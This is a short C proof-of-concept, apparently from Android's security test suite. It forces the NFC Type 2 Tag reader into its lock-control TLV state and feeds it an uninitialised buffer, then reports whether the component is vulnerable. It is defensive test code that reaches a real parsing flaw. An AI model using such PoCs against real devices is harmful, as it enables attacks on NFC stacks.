1 /* 2 * Copyright (C) 2021 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #include "../includes/common.h" 18 #include <stdlib.h> 19 20 #include <nfc_api.h> 21 #include <rw_int.h> 22 23 #define NUM_BYTES 1 24 25 extern tRW_CB rw_cb; 26 void rw_init(void); 27 void rw_t2t_handle_rsp(uint8_t *p_data); 28 poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)29void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { 30 (void)event; 31 (void)p_rw_data; 32 } 33 main()34int main() { 35 tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; 36 rw_init(); 37 rw_cb.p_cback = &poc_cback; 38 p_t2t->state = RW_T2T_STATE_DETECT_TLV; 39 p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; 40 p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; 41 p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; 42 p_t2t->bytes_count = NUM_BYTES; 43 p_t2t->tlv_value[1] = 0; 44 int index = p_t2t->num_lock_tlvs; 45 uint8_t data[T2T_READ_DATA_LEN]; 46 rw_t2t_handle_rsp(data); 47 int ret = (p_t2t->lock_tlv[index].num_bits == p_t2t->tlv_value[1]) 48 ? EXIT_VULNERABLE 49 : EXIT_SUCCESS; 50 return ret; 51 } 52